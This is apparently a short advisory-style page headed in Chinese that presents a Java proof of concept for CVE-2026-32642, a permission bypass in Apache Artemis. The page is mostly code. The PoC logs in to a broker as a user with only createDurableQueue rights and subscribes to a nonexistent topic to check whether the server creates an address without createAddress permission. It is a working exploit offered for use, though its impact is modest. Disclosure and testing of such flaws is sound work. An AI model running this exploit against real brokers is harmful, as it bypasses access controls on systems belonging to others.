CVE-2026-32642 Apache Artemis权限绕过漏洞

import org.apache.activemq.ActiveMQConnectionFactory; import javax.jms.*; // PoC for CVE-2026-32642 // Description: Attempts to create a non-durable subscription on a non-existent address // with insufficient permissions (createDurableQueue only). public class CVE202632642_PoC { public static void main(String[] args) { String brokerUrl = "tcp://localhost:61616"; String username = "user_with_createDurableQueue_only"; String password = "password"; String topicName = "nonexistent.topic.address"; try { ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl); Connection connection = connectionFactory.createConnection(username, password); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); Topic topic = session.createTopic(topicName); // Attempt to create a non-durable subscriber // Vulnerability: Server creates a temporary address even if 'createAddress' is missing MessageConsumer consumer = session.createConsumer(topic); System.out.println("[+] Subscription request sent. Check if temporary address was created on server."); connection.close(); } catch (JMSException e) { e.printStackTrace(); } } }